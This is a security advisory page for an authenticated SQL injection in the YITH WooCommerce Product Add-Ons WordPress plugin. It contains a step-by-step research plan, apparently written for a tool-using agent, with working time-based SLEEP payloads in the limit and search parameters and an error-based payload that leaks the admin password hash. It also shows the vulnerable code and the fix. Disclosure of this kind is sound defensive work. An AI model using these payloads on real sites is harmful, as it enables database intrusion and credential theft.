YITH WooCommerce Product Add-Ons <= 4.29.0 - Authenticated (Shop manager+) SQL Injection
Description
The YITH WooCommerce Product Add-Ons plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.29.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=4.29.0What Changed in the Fix
Changes introduced in v4.29.1
Source Code
WordPress.org SVNThis research plan outlines the steps required to demonstrate a SQL Injection vulnerability in the YITH WooCommerce Product Add-Ons plugin. ### 1. Vulnerability Summary The `YITH_WAPO_DB::yith_wapo_get_blocks` function in `includes/class-yith-wapo-db.php` is vulnerable to SQL Injection. The functio…
Show full research plan
This research plan outlines the steps required to demonstrate a SQL Injection vulnerability in the YITH WooCommerce Product Add-Ons plugin.
1. Vulnerability Summary
The YITH_WAPO_DB::yith_wapo_get_blocks function in includes/class-yith-wapo-db.php is vulnerable to SQL Injection. The function constructs a SQL query by directly concatenating values from the $query_args array into the LIMIT, OFFSET, and WHERE clauses of a query. Specifically, the limit and offset parameters are used without any sanitization or casting to integers, and keys within the search conditions are not properly prepared using $wpdb->prepare().
This allows an authenticated attacker with Shop Manager or Administrator privileges to append arbitrary SQL commands, potentially leading to the extraction of sensitive data (like user hashes) from the WordPress database.
2. Attack Vector Analysis
- Endpoint: WordPress Admin Dashboard.
- Vulnerable Action: Accessing the list of Product Add-on "Blocks".
- Vulnerable Parameter:
limit(concatenated to theLIMITclause) ors(search parameter used in theWHEREclause). - Authentication Required: Authenticated user with the
shop_manageroradministratorcapability. - Preconditions: The plugin must be active. At least one "Block" should ideally exist, though the injection is effective regardless.
3. Code Flow
- Entry Point: An administrator navigates to the "Blocks" management page. This is likely handled by the
YITH_WAPO_Adminclass which initializes aYITH_WAPO_Blocks_List_Table. - Logic: The list table's
prepare_items()method (or equivalent) fetches data by callingYITH_WAPO_DB::get_instance()->yith_wapo_get_blocks( false, $args ). - Vulnerable Sink: Inside
yith_wapo_get_blocksinincludes/class-yith-wapo-db.php:$conditionsis derived from$query_args.- If
isset( $conditions['limit'] ), the code performs:$query_limit = 'LIMIT ' . $conditions['limit'];. - The resulting
$query_limitis concatenated directly into the final query string:$query = "SELECT id FROM {$blocks_table} {$query_where} ORDER BY {$order_by} ASC {$query_limit} {$query_offset}"; - The query is executed via
$wpdb->get_col( $query ), which explicitly ignoresWordPress.DB.PreparedSQL.NotPrepared.
4. Nonce Acquisition Strategy
While many admin list tables use nonces for bulk actions, simple GET-based filtering and searching often do not enforce a nonce check for the data retrieval itself.
If the blocks list is loaded via an AJAX request (common in YITH plugins), the nonce can be retrieved using the following steps:
- Identify Shortcode/Page: The blocks list is in the admin panel at
admin.php?page=yith_wapo_blocks(inferred slug based onYITH_WAPO_SLUG). - Navigation: Navigate to the Add-ons Blocks page using
browser_navigate. - Extraction: Use
browser_evalto search for localized script data.- Look for the variable used in the block editor or list table. Based on common YITH patterns, this might be
yith_wapo_adminor similar. - Note: If the vulnerability is triggered via a direct
GETrequest to the admin page (non-AJAX), no nonce is required for the SQLi itself.
- Look for the variable used in the block editor or list table. Based on common YITH patterns, this might be
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection targeting the limit parameter because it is appended at the very end of the query, making it easier to manipulate.
Step-by-Step:
- Login: Use the
http_requesttool to authenticate as a Shop Manager. - Baseline Request: Request the blocks list page to confirm access:
GET /wp-admin/admin.php?page=yith_wapo_blocks - Exploit Request (Time-Based):
Inject aSLEEP()command into thelimitparameter.- Payload:
1; SELECT SLEEP(5) - URL:
/wp-admin/admin.php?page=yith_wapo_blocks&limit=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a) - Alternative Payload (Search):
/wp-admin/admin.php?page=yith_wapo_blocks&s=test'%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20OR%20name%20LIKE%20'
- Payload:
HTTP Request Details:
- Method:
GET - Path:
/wp-admin/admin.php - Query Params:
page:yith_wapo_blockslimit:1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
6. Test Data Setup
- Create Shop Manager:
wp user create attacker attacker@example.com --role=shop_manager --user_pass=password - Ensure Plugin is Active:
wp plugin activate yith-woocommerce-product-add-ons - Create a Dummy Block (Optional but helpful):
The vulnerability exists even if no blocks are returned, but having one ensures the query logic completes. (This usually requires interacting with the plugin's custom tables).
7. Expected Results
- The baseline request should return in standard time (e.g., < 500ms).
- The exploit request should result in a visible delay of approximately 5 seconds before the server responds.
- The response body for the exploit request may be empty or a standard admin page, as the injection happens in the data-fetching layer.
8. Verification Steps
After performing the HTTP request, verify the vulnerability using the database logs or by observing the response timing.
- Check Execution Time: Compare the
durationfield in thehttp_requestresponse metadata. - Database Trace (Manual): If you have access to the environment, you can check the MySQL general log to see the malformed query:
SELECT id FROM wp_yith_wapo_blocks ... LIMIT 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
9. Alternative Approaches
If the limit parameter is not directly accepted from $_GET, target the s (search) parameter:
- Search Injection:
GET /wp-admin/admin.php?page=yith_wapo_blocks&s=any-string' AND (SELECT 5678 FROM (SELECT(SLEEP(5)))b) AND '1'='1 - Error-Based (if
WP_DEBUGis on):limit=1 PROCEDURE ANALYSE(EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user_pass FROM wp_users LIMIT 1))),1)
This would attempt to leak the admin password hash directly into an error message.
Summary
The YITH WooCommerce Product Add-Ons plugin for WordPress is vulnerable to SQL Injection via the 'limit', 'offset', and 's' (search) parameters in the YITH_WAPO_DB class. Authenticated attackers with Shop Manager or Administrator privileges can append arbitrary SQL queries to extract sensitive database information using time-based blind injection techniques.
Vulnerable Code
// includes/class-yith-wapo-db.php line 92 if ( isset( $conditions['limit'] ) ) { $query_limit = 'LIMIT ' . $conditions['limit']; unset( $conditions['limit'] ); } // Offset. if ( isset( $conditions['offset'] ) ) { $query_offset = 'OFFSET ' . $conditions['offset']; unset( $conditions['offset'] ); } // ... lines 128-130 $query = "SELECT id FROM {$blocks_table} {$query_where} ORDER BY {$order_by} ASC {$query_limit} {$query_offset}"; return $wpdb->get_col( $query ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared --- // includes/class-yith-wapo-db.php line 211 // Search box. if ( isset( $query_args['s'] ) ) { if ( ! empty( $query_args['s'] ) ){ $query_search = "( name LIKE '%" . $query_args['s'] . "%' ) AND "; } }
Security Fix
@@ -219,11 +219,12 @@ } // Search box. - if ( isset( $query_args['s'] ) ) { - if ( ! empty( $query_args['s'] ) ){ - $query_search = "( name LIKE '%" . $query_args['s'] . "%' ) - AND "; - } + if ( isset( $query_args['s'] ) && ! empty( $query_args['s'] ) ) { + + global $wpdb; + + $search = esc_sql( $wpdb->esc_like( $query_args['s'] ) ); + $query_search = "( name LIKE '%{$search}%' ) AND "; } $product_id = $product->get_id();
Exploit Outline
The exploit targets the blocks management administrative page by manipulating parameters passed to database retrieval functions. 1. **Authentication**: The attacker must be logged in with a user account possessing `shop_manager` or `administrator` capabilities. 2. **Endpoint**: A GET request is made to `/wp-admin/admin.php?page=yith_wapo_blocks`. 3. **Payload Construction**: The attacker appends a malicious SQL payload to either the `limit` or `s` (search) parameters. A typical payload for the `limit` parameter uses a time-based technique: `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`. 4. **Execution**: When the plugin attempts to fetch the list of add-on blocks, it concatenates the unsanitized parameter directly into the SQL query and executes it. 5. **Verification**: The success of the injection is confirmed by observing a significant delay (e.g., 5 seconds) in the server response time.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.